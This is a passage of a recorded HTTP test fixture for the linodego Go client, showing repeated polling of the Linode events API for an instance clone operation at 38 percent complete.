"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.133224, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.201317, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.273074, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.353952, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.415719, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.492772, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.565643, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.630009, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.693933, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.752721, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.865085, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 50.936684, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.003099, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.355754, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.434502, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.511688, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.576024, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 